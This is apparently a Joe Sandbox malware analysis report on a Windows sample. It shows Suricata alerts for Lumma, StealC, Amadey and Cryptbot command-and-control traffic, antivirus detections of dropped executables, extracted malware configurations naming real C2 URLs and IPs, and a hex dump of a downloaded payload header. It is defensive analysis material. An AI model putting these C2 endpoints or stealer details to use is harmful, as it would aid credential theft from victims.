2024-11-29T19:53:16.974916+0100	2028371	3	Unknown Traffic	192.168.2.5	50223	20.42.73.29	443	TCP
2024-11-29T19:53:55.925246+0100	2028371	3	Unknown Traffic	192.168.2.5	50237	52.168.112.67	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-29T19:50:21.234007+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49872	104.21.16.9	443	TCP
2024-11-29T19:50:23.340713+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49880	104.21.16.9	443	TCP
2024-11-29T19:50:38.008264+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49922	104.21.16.9	443	TCP
2024-11-29T19:50:41.053781+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49933	104.21.16.9	443	TCP
2024-11-29T19:50:44.078947+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49946	104.21.16.9	443	TCP
2024-11-29T19:51:04.846409+0100	2054653	1	A Network Trojan was detected	192.168.2.5	50019	104.21.16.9	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-29T19:50:21.234007+0100	2049836	1	A Network Trojan was detected	192.168.2.5	49872	104.21.16.9	443	TCP
2024-11-29T19:50:38.008264+0100	2049836	1	A Network Trojan was detected	192.168.2.5	49922	104.21.16.9	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-29T19:50:23.340713+0100	2049812	1	A Network Trojan was detected	192.168.2.5	49880	104.21.16.9	443	TCP
2024-11-29T19:50:41.053781+0100	2049812	1	A Network Trojan was detected	192.168.2.5	49933	104.21.16.9	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-29T19:50:45.833024+0100	2019714	2	Potentially Bad Traffic	192.168.2.5	49955	185.215.113.16	80	TCP
2024-11-29T19:51:06.362840+0100	2019714	2	Potentially Bad Traffic	192.168.2.5	50026	185.215.113.16	80	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-29T19:50:20.523961+0100	2044696	1	A Network Trojan was detected	192.168.2.5	49873	185.215.113.43	80	TCP
2024-11-29T19:50:28.970150+0100	2044696	1	A Network Trojan was detected	192.168.2.5	49896	185.215.113.43	80	TCP
2024-11-29T19:50:36.360101+0100	2044696	1	A Network Trojan was detected	192.168.2.5	49918	185.215.113.43	80	TCP
2024-11-29T19:50:46.489324+0100	2044696	1	A Network Trojan was detected	192.168.2.5	49957	185.215.113.43	80	TCP
2024-11-29T19:50:59.916335+0100	2044696	1	A Network Trojan was detected	192.168.2.5	50000	185.215.113.43	80	TCP
2024-11-29T19:51:09.777345+0100	2044696	1	A Network Trojan was detected	192.168.2.5	50038	185.215.113.43	80	TCP
2024-11-29T19:51:22.832911+0100	2044696	1	A Network Trojan was detected	192.168.2.5	50109	185.215.113.43	80	TCP

ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-29T19:51:45.265578+0100	2054350	1	A Network Trojan was detected	192.168.2.5	50147	34.118.84.150	80	TCP
2024-11-29T19:51:46.985630+0100	2054350	1	A Network Trojan was detected	192.168.2.5	50149	34.118.84.150	80	TCP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-29T19:49:09.110831+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.5	49704	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-29T19:49:08.793710+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-29T19:49:09.436324+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-29T19:49:11.177249+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-29T19:49:09.750667+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.5	49704	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-29T19:50:25.974549+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.5	49888	104.21.16.9	443	TCP
2024-11-29T19:51:00.015846+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.5	50001	104.21.16.9	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-29T19:49:08.346754+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-29T19:50:30.799215+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	49901	185.215.113.206	80	TCP
2024-11-29T19:50:49.872768+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	49975	185.215.113.206	80	TCP
2024-11-29T19:51:21.111981+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	50088	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-29T19:50:09.079091+0100	2856147	1	A Network Trojan was detected	192.168.2.5	49844	185.215.113.43	80	TCP
2024-11-29T19:55:33.596520+0100	2856147	1	A Network Trojan was detected	192.168.2.5	50273	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-29T19:50:19.132077+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.5	49852	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-29T19:50:13.648108+0100	2803305	3	Unknown Traffic	192.168.2.5	49856	185.215.113.16	80	TCP
2024-11-29T19:50:22.023996+0100	2803305	3	Unknown Traffic	192.168.2.5	49877	185.215.113.16	80	TCP
2024-11-29T19:50:30.473946+0100	2803305	3	Unknown Traffic	192.168.2.5	49902	185.215.113.16	80	TCP
2024-11-29T19:50:37.895715+0100	2803305	3	Unknown Traffic	192.168.2.5	49923	185.215.113.16	80	TCP
2024-11-29T19:50:48.048899+0100	2803305	3	Unknown Traffic	192.168.2.5	49962	31.41.244.11	80	TCP
2024-11-29T19:51:01.428603+0100	2803305	3	Unknown Traffic	192.168.2.5	50006	31.41.244.11	80	TCP
2024-11-29T19:51:11.288702+0100	2803305	3	Unknown Traffic	192.168.2.5	50048	31.41.244.11	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-29T19:49:12.276916+0100	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-29T19:49:39.758597+0100	2803304	3	Unknown Traffic	192.168.2.5	49772	185.215.113.206	80	TCP
2024-11-29T19:49:41.885058+0100	2803304	3	Unknown Traffic	192.168.2.5	49772	185.215.113.206	80	TCP
2024-11-29T19:49:43.213618+0100	2803304	3	Unknown Traffic	192.168.2.5	49772	185.215.113.206	80	TCP
2024-11-29T19:49:44.584078+0100	2803304	3	Unknown Traffic	192.168.2.5	49772	185.215.113.206	80	TCP
2024-11-29T19:49:48.327833+0100	2803304	3	Unknown Traffic	192.168.2.5	49772	185.215.113.206	80	TCP
2024-11-29T19:49:49.431477+0100	2803304	3	Unknown Traffic	192.168.2.5	49772	185.215.113.206	80	TCP
2024-11-29T19:49:55.054274+0100	2803304	3	Unknown Traffic	192.168.2.5	49809	185.215.113.16	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.206/c4becf79229cb002.php6-535557bcc5fal	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpyRY	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[2].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 0000000E.00000002.2676839674.00000000009E1000.00000040.00000001.01000000.0000000B.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 00000024.00000002.3153209613.0000000000777000.00000004.00000020.00020000.00000000.sdmp	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}
Source: 43cdd8ad97.exe.6972.19.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": "https://atten-supporse.biz:443/api", "Build Version": "LOGS11--LiveTraffi"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	ReversingLabs: Detection: 55%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[2].exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	ReversingLabs: Detection: 34%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[1].exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[2].exe	ReversingLabs: Detection: 34%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[2].exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[3].exe	ReversingLabs: Detection: 36%
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Temp\1010354001\998d30a932.exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Temp\1010355001\fd549fc84a.exe	ReversingLabs: Detection: 34%
Source: C:\Users\user\AppData\Local\Temp\1010356001\8d8ec3a6f5.exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Temp\1010357001\480f06d5d5.exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Temp\1010358001\82d9128a9d.exe	ReversingLabs: Detection: 34%
Source: C:\Users\user\AppData\Local\Temp\1010359001\76ee5543cc.exe	ReversingLabs: Detection: 36%
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	ReversingLabs: Detection: 55%
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	ReversingLabs: Detection: 55%

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 39%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[2].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[2].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C4E6C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,

0_2_6C4E6C80

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.5:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.5:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.18.84.141:443 -> 192.168.2.5:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.18.84.141:443 -> 192.168.2.5:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.5:49833 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.9:443 -> 192.168.2.5:49872 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.9:443 -> 192.168.2.5:49880 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.9:443 -> 192.168.2.5:49888 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.9:443 -> 192.168.2.5:49894 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.5:49899 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.9:443 -> 192.168.2.5:49903 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.9:443 -> 192.168.2.5:49910 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.9:443 -> 192.168.2.5:49922 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.9:443 -> 192.168.2.5:49921 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.9:443 -> 192.168.2.5:49933 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.9:443 -> 192.168.2.5:49946 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.9:443 -> 192.168.2.5:49951 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.9:443 -> 192.168.2.5:49967 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:49968 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.5:49969 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.9:443 -> 192.168.2.5:49982 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.9:443 -> 192.168.2.5:49993 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.9:443 -> 192.168.2.5:50001 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.9:443 -> 192.168.2.5:50019 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.5:50041 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:50092 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.5:50095 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:50098 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.5:50107 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:50114 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:50113 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.5:50134 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.65.91:443 -> 192.168.2.5:50137 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:50139 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.5:50140 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.5:50141 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:50144 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:50142 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:50143 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.147.6:443 -> 192.168.2.5:50151 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.147.6:443 -> 192.168.2.5:50155 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.147.6:443 -> 192.168.2.5:50178 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:50187 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:50188 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.182.143.212:443 -> 192.168.2.5:50192 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.42.73.29:443 -> 192.168.2.5:50223 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.168.112.67:443 -> 192.168.2.5:50237 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:50245 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:50244 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:50246 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:50327 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:50328 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:50329 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2683642528.000000006C70F000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2683642528.000000006C70F000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: 43cdd8ad97.exe, 00000011.00000003.3193985263.0000000007F10000.00000004.00001000.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000011.00000002.3348888137.0000000005DF2000.00000040.00000800.00020000.00000000.sdmp
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmp

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: chrome.exe	Memory has grown: Private usage: 0MB later: 38MB
Source: firefox.exe	Memory has grown: Private usage: 1MB later: 189MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.5:49704
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.5:49704
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.5:49844 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.5:49852
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49873 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49896 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49901 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49918 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49957 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49975 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:50000 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:50038 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:50088 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:50109 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.5:50147 -> 34.118.84.150:80
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.5:50149 -> 34.118.84.150:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.5:50273 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49872 -> 104.21.16.9:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49872 -> 104.21.16.9:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:49880 -> 104.21.16.9:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49880 -> 104.21.16.9:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:49888 -> 104.21.16.9:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49922 -> 104.21.16.9:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49922 -> 104.21.16.9:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49946 -> 104.21.16.9:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:50001 -> 104.21.16.9:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:50019 -> 104.21.16.9:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:49933 -> 104.21.16.9:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49933 -> 104.21.16.9:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	URLs: https://atten-supporse.biz:443/api
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: unknown

Network traffic detected: DNS query count 38

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 29 Nov 2024 18:49:12 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 